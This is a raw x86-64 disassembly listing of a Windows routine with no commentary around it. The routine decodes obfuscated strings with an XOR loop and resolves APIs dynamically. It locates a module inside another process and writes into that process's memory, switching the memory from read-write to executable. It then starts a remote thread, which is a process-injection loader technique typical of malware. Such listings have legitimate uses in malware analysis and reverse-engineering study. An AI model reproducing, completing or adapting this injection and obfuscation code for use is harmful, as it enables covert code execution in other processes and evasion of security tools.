mov rdx, qword [rbp + 0x57c8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movzx eax, byte [rbp + 0x57d0]
mov byte [rbp], al
mov edx, dword [rbp + 0x5b60]
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.14001f950
mov r10, qword [0x1402dc050]
mov rcx, qword [rbp + 0x2268]
mov rdx, qword [rbp + 0x2260]
mov r8, qword [rbp + 0x5b50]
lea rax, [rbp + 0x2250]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8d, 0
mov edx, 0x20000000
mov rcx, rax
call r10
mov dword [rbp + 0x5b60], eax
lea rax, [rbp + 0x57e0]
lea rdx, [rbp + 0x57df]
mov rcx, rax
call fcn.140002894
mov rax, qword [rbp + 0x57e0]
mov rdx, qword [rbp + 0x57e8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x57f0]
mov rdx, qword [rbp + 0x57f8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movzx eax, byte [rbp + 0x5800]
mov byte [rbp], al
mov edx, dword [rbp + 0x5b60]
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.14001f950
mov r9, qword [0x1402dc060]
mov rax, qword [rbp + 0x2250]
mov r8d, 0
mov edx, 0xff
mov rcx, rax
call r9
mov dword [rbp + 0x5b60], eax
lea rax, [rbp + 0x5810]
lea rdx, [rbp + 0x580f]
mov rcx, rax
call fcn.1400029ae
mov rax, qword [rbp + 0x5810]
mov rdx, qword [rbp + 0x5818]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x5820]
mov rdx, qword [rbp + 0x5828]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movzx eax, byte [rbp + 0x5830]
mov byte [rbp], al
mov edx, dword [rbp + 0x5b60]
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.14001f950
lea rax, [rbp + 0x2b72]
mov qword [rbp + 0x5a38], rax
mov rax, qword [rbp + 0x5a38]
mov qword [rbp + 0x5a30], rax
mov rax, qword [rbp + 0x5a30]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x140008f19
mov rax, qword [rbp + 0x5a38]
mov rdx, qword [rbp + 0x5a38]
mov qword [rbp + 0x5a28], rdx
mov qword [rbp + 0x5a20], rax
mov dword [rbp + 0x5a1c], 0
jmp 0x140008f0f
mov eax, dword [rbp + 0x5a1c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5a20]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5a1c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5a28]
mov eax, dword [rbp + 0x5a1c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5a1c], 1
cmp dword [rbp + 0x5a1c], 0xb
jle 0x140008eae
nop
lea rax, [rbp + 0x2b72]
mov r8d, 1
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
call rax
mov qword [rbp + 0x5b40], rax
lea rax, [rbp + 0x2b60]
mov qword [rbp + 0x5a10], rax
mov rax, qword [rbp + 0x5a10]
mov qword [rbp + 0x5a08], rax
mov rax, qword [rbp + 0x5a08]
movzx eax, byte [rax + 0xf]
test al, al
setne al
test al, al
je 0x140009005
mov rax, qword [rbp + 0x5a10]
mov rdx, qword [rbp + 0x5a10]
mov qword [rbp + 0x5a00], rdx
mov qword [rbp + 0x59f8], rax
mov dword [rbp + 0x59f4], 0
jmp 0x140008ffb
mov eax, dword [rbp + 0x59f4]
movsxd rdx, eax
mov rax, qword [rbp + 0x59f8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x59f4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5a00]
mov eax, dword [rbp + 0x59f4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x59f4], 1
cmp dword [rbp + 0x59f4], 0xf
jle 0x140008f9a
nop
lea rdx, [rbp + 0x2b60]
mov rax, qword [rbp + 0x5b40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5b38], rax
lea rax, [rbp - 0x20]
lea rdx, [rbp + 0x583a]
mov rcx, rax
call fcn.140002ac8
mov rax, qword [rbp - 0x20]
mov qword [rbp + 0x222a], rax
mov rax, qword [rbp - 0x1a]
mov qword [rbp + 0x2230], rax
lea rax, [rbp + 0x222a]
mov qword [rbp + 0x59e8], rax
mov rax, qword [rbp + 0x59e8]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x140009108
lea rax, [rbp + 0x222a]
lea rdx, [rbp + 0x222a]
mov qword [rbp + 0x59e0], rdx
mov qword [rbp + 0x59d8], rax
mov dword [rbp + 0x59d4], 0
jmp 0x1400090fe
mov eax, dword [rbp + 0x59d4]
movsxd rdx, eax
mov rax, qword [rbp + 0x59d8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x59d4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x59e0]
mov eax, dword [rbp + 0x59d4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x59d4], 1
cmp dword [rbp + 0x59d4], 0xd
jle 0x14000909d
nop
lea rax, [rbp + 0x222a]
mov rdx, qword [rbp + 0x5b38]
mov r8, rdx
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x59d0], 0
jmp 0x14000914e
mov eax, dword [rbp + 0x59d0]
cdqe
mov byte [rbp + rax + 0x222a], 0
add dword [rbp + 0x59d0], 1
cmp dword [rbp + 0x59d0], 0xd
jle 0x140009137
nop
mov rax, qword [rbp + 0x5b38]
mov qword [rbp + 0x5b30], rax
mov rdx, qword [rbp + 0x5b30]
mov rax, qword [rbp + 0x5b40]
sub rdx, rax
mov dword [rbp + 0x5b2c], edx
lea rax, [rbp + 0x221d]
lea rdx, [rbp + 0x583b]
mov rcx, rax
call fcn.140002b4a
lea rax, [rbp + 0x221d]
mov qword [rbp + 0x59c8], rax
mov rax, qword [rbp + 0x59c8]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x14000924c
lea rax, [rbp + 0x221d]
lea rdx, [rbp + 0x221d]
mov qword [rbp + 0x59c0], rdx
mov qword [rbp + 0x59b8], rax
mov dword [rbp + 0x59b4], 0
jmp 0x140009242
mov eax, dword [rbp + 0x59b4]
movsxd rdx, eax
mov rax, qword [rbp + 0x59b8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x59b4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x59c0]
mov eax, dword [rbp + 0x59b4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x59b4], 1
cmp dword [rbp + 0x59b4], 0xc
jle 0x1400091e1
nop
lea rax, [rbp + 0x221d]
mov edx, dword [rbp + 0x5b2c]
mov r8d, edx
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x59b0], 0
jmp 0x140009291
mov eax, dword [rbp + 0x59b0]
cdqe
mov byte [rbp + rax + 0x221d], 0
add dword [rbp + 0x59b0], 1
cmp dword [rbp + 0x59b0], 0xc
jle 0x14000927a
nop
lea rcx, [rbp + 0x20c]
lea rdx, [rbp + 0x210]
mov rax, qword [rbp + 0x5b50]
mov r9, rcx
mov r8d, 0x2000
mov rcx, rax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
setne al
test al, al
je 0x140009733
mov dword [rbp + 0x5c6c], 0
jmp 0x140009715
mov eax, dword [rbp + 0x5c6c]
cdqe
mov rdx, qword [rbp + rax*8 + 0x210]
lea rcx, [rbp + 0x90]
mov rax, qword [rbp + 0x5b50]
mov r9d, 0x104
mov r8, rcx
mov rcx, rax
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
setne al
test al, al
je 0x14000970e
lea rax, [rbp + 0x583c]
mov rcx, rax
call fcn.140072d90
lea rcx, [rbp + 0x583c]
lea rdx, [rbp + 0x90]
lea rax, [rbp + 0x70]
mov r8, rcx
mov rcx, rax
call fcn.1400aa6f0
lea rax, [rbp + 0x583c]
mov rcx, rax
call fcn.140072dc0
lea rax, [rbp + 0x2b72]
mov qword [rbp + 0x59a8], rax
mov rax, qword [rbp + 0x59a8]
mov qword [rbp + 0x59a0], rax
mov rax, qword [rbp + 0x59a0]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x14000941b
mov rax, qword [rbp + 0x59a8]
mov rdx, qword [rbp + 0x59a8]
mov qword [rbp + 0x5998], rdx
mov qword [rbp + 0x5990], rax
mov dword [rbp + 0x598c], 0
jmp 0x140009411
mov eax, dword [rbp + 0x598c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5990]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x598c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5998]
mov eax, dword [rbp + 0x598c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x598c], 1
cmp dword [rbp + 0x598c], 0xb
jle 0x1400093b0
nop
lea rdx, [rbp + 0x2b72]
lea rax, [rbp + 0x70]
mov r8d, 0
mov rcx, rax
call fcn.140030400
cmp rax, 0xffffffffffffffff
setne al
test al, al
je 0x140009702
mov eax, dword [rbp + 0x5c6c]
cdqe
mov rdx, qword [rbp + rax*8 + 0x210]
lea rax, [rbp + 0x90]
mov r8, rdx
mov rdx, rax
lea rax, str._t_s__0x_08X__n
mov rcx, rax
call fcn.140001450
mov eax, dword [rbp + 0x5c6c]
cdqe
mov rax, qword [rbp + rax*8 + 0x210]
mov qword [rbp + 0x5c70], rax
lea rax, [rbp + 0x583e]
lea rdx, [rbp + 0x583d]
mov rcx, rax
call fcn.140002bc4
mov rax, qword [rbp + 0x583e]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp + 0x5843]
mov qword [rbp - 0x1b], rax
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.14001f870
lea rax, [rbp + 0x1ac]
lea rdx, [rbp + 0x584b]
mov rcx, rax
call fcn.140002c3e
lea rax, [rbp + 0x1ac]
mov qword [rbp + 0x5980], rax
mov rax, qword [rbp + 0x5980]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x14000958d
lea rax, [rbp + 0x1ac]
lea rdx, [rbp + 0x1ac]
mov qword [rbp + 0x5978], rdx
mov qword [rbp + 0x5970], rax
mov dword [rbp + 0x596c], 0
jmp 0x140009583
mov eax, dword [rbp + 0x596c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5970]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x596c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5978]
mov eax, dword [rbp + 0x596c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x596c], 1
cmp dword [rbp + 0x596c], 0xb
jle 0x140009522
nop
lea rax, [rbp + 0x1ac]
lea rdx, [rbp + 0x90]
mov r8, rdx
mov rdx, rax
lea rax, str._s_s_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5968], 0
jmp 0x1400095d3
mov eax, dword [rbp + 0x5968]
cdqe
mov byte [rbp + rax + 0x1ac], 0
add dword [rbp + 0x5968], 1
cmp dword [rbp + 0x5968], 0xb
jle 0x1400095bc
nop
lea rax, [rbp + 0x1a1]
lea rdx, [rbp + 0x584c]
mov rcx, rax
call fcn.140002cb0
mov eax, dword [rbp + 0x5c6c]
cdqe
mov r8, qword [rbp + rax*8 + 0x210]
lea rax, [rbp + 0x1a1]
mov qword [rbp + 0x5960], rax
mov rax, qword [rbp + 0x5960]
movzx eax, byte [rax + 0xa]
test al, al
setne al
test al, al
je 0x1400096bc
lea rax, [rbp + 0x1a1]
lea rdx, [rbp + 0x1a1]
mov qword [rbp + 0x5958], rdx
mov qword [rbp + 0x5950], rax
mov dword [rbp + 0x594c], 0
jmp 0x1400096b2
mov eax, dword [rbp + 0x594c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5950]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x594c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x5958]
mov eax, dword [rbp + 0x594c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x594c], 1
cmp dword [rbp + 0x594c], 0xa
jle 0x140009651
nop
lea rax, [rbp + 0x1a1]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5948], 0
jmp 0x1400096f8
mov eax, dword [rbp + 0x5948]
cdqe
mov byte [rbp + rax + 0x1a1], 0
add dword [rbp + 0x5948], 1
cmp dword [rbp + 0x5948], 0xa
jle 0x1400096e1
nop
lea rax, [rbp + 0x70]
mov rcx, rax
call fcn.1400aae10
add dword [rbp + 0x5c6c], 1
mov eax, dword [rbp + 0x5c6c]
movsxd rdx, eax
mov eax, dword [rbp + 0x20c]
mov eax, eax
shr rax, 3
cmp rdx, rax
jb 0x1400092dd
mov eax, dword [rbp + 0x5b2c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5c70]
add rax, rdx
mov qword [rbp + 0x200], rax
lea rax, [rbp + 0x1e0]
lea rdx, [rbp + 0x584d]
mov rcx, rax
call fcn.140002d1a
mov r8, qword [rbp + 0x200]
lea rax, [rbp + 0x1e0]
mov qword [rbp + 0x5940], rax
mov rax, qword [rbp + 0x5940]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x140009823
lea rax, [rbp + 0x1e0]
lea rdx, [rbp + 0x1e0]
mov qword [rbp + 0x5938], rdx
mov qword [rbp + 0x5930], rax
mov dword [rbp + 0x592c], 0
jmp 0x140009819
mov eax, dword [rbp + 0x592c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5930]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x592c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x5938]
mov eax, dword [rbp + 0x592c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x592c], 1
cmp dword [rbp + 0x592c], 0x13
jle 0x1400097b8
nop
lea rax, [rbp + 0x1e0]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5928], 0
jmp 0x14000985f
mov eax, dword [rbp + 0x5928]
cdqe
mov byte [rbp + rax + 0x1e0], 0
add dword [rbp + 0x5928], 1
cmp dword [rbp + 0x5928], 0x13
jle 0x140009848
nop
mov rax, qword [0x1402ab628]
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x200]
and eax, 0xfff
mov qword [rbp + 0x5b20], rax
lea rax, [rbp + 0x1c3]
lea rdx, [rbp + 0x584e]
mov rcx, rax
call fcn.140002dcc
lea rax, [rbp + 0x1c3]
mov qword [rbp + 0x5920], rax
mov rax, qword [rbp + 0x5920]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x140009959
lea rax, [rbp + 0x1c3]
lea rdx, [rbp + 0x1c3]
mov qword [rbp + 0x5918], rdx
mov qword [rbp + 0x5910], rax
mov dword [rbp + 0x590c], 0
jmp 0x14000994f
mov eax, dword [rbp + 0x590c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5910]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x590c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5918]
mov eax, dword [rbp + 0x590c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x590c], 1
cmp dword [rbp + 0x590c], 0xc
jle 0x1400098ee
nop
lea rax, [rbp + 0x1c3]
mov rdx, qword [rbp + 0x5b20]
mov r8, rdx
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5908], 0
jmp 0x14000999f
mov eax, dword [rbp + 0x5908]
cdqe
mov byte [rbp + rax + 0x1c3], 0
add dword [rbp + 0x5908], 1
cmp dword [rbp + 0x5908], 0xc
jle 0x140009988
nop
mov r10, qword [0x1402dc048]
lea r8, [rbp + 0x1d8]
lea rdx, [rbp + 0x200]
mov rax, qword [rbp + 0x5b50]
lea rcx, [rbp + 0x224c]
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov rcx, rax
call r10
mov dword [rbp + 0x5b60], eax
lea rax, [rbp + 0x5850]
lea rdx, [rbp + 0x584f]
mov rcx, rax
call fcn.140002e46
mov rax, qword [rbp + 0x5850]
mov rdx, qword [rbp + 0x5858]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x5860]
mov rdx, qword [rbp + 0x5868]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x586e]
mov qword [rbp - 2], rax
mov edx, dword [rbp + 0x5b60]
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.14001fa40
mov r10, qword [0x1402dc040]
mov r8, qword [rbp + 0x1d8]
mov rcx, qword [0x1402dc030]
mov rax, qword [rbp + 0x200]
mov rdx, rax
mov rax, qword [rbp + 0x5b20]
add rax, rdx
mov r11, rax
mov rax, qword [rbp + 0x5b50]
lea rdx, [rbp + 0x1d0]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x5b60], eax
lea rax, [rbp + 0x5880]
lea rdx, [rbp + 0x587f]
mov rcx, rax
call fcn.140002f88
mov rax, qword [rbp + 0x5880]
mov rdx, qword [rbp + 0x5888]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x5890]
mov rdx, qword [rbp + 0x5898]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x589e]
mov qword [rbp - 2], rax
mov edx, dword [rbp + 0x5b60]
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.14001fa40
mov r10, qword [0x1402dc048]
lea r8, [rbp + 0x1d8]
lea rdx, [rbp + 0x200]
mov rax, qword [rbp + 0x5b50]
lea rcx, [rbp + 0x224c]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x5b60], eax
lea rax, [rbp + 0x58b0]
lea rdx, [rbp + 0x58af]
mov rcx, rax
call fcn.1400030ca
mov rax, qword [rbp + 0x58b0]
mov rdx, qword [rbp + 0x58b8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x58c0]
mov rdx, qword [rbp + 0x58c8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x58ce]
mov qword [rbp - 2], rax
mov edx, dword [rbp + 0x5b60]
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.14001fa40
mov r10, qword [0x1402dc050]
mov rcx, qword [rbp + 0x5b50]
lea rax, [rbp + 0x1b8]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rdx, qword [rbp + 0x5b38]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
mov edx, 0x20000000
mov rcx, rax
call r10
mov dword [rbp + 0x5b60], eax
lea rax, [rbp + 0x58e0]
lea rdx, [rbp + 0x58df]
mov rcx, rax
call fcn.14000320c
mov rax, qword [rbp + 0x58e0]
mov rdx, qword [rbp + 0x58e8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x58f0]
mov rdx, qword [rbp + 0x58f8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x58fe]
mov qword [rbp - 2], rax
mov edx, dword [rbp + 0x5b60]
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.14001fa40
mov rdx, qword [0x1402dc078]
mov rax, qword [rbp + 0x2250]
mov rcx, rax
call rdx
mov rdx, qword [0x1402dc078]
mov rax, qword [rbp + 0x1b8]
mov rcx, rax
call rdx
mov rdx, qword [0x1402dc078]
mov rax, qword [rbp + 0x5b50]
mov rcx, rax
call rdx
mov ebx, 0
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.1400aae10
mov eax, ebx
jmp 0x14000b5f0
add rsp, 0x5d10
pop rbx
pop rdi
pop rbp
ret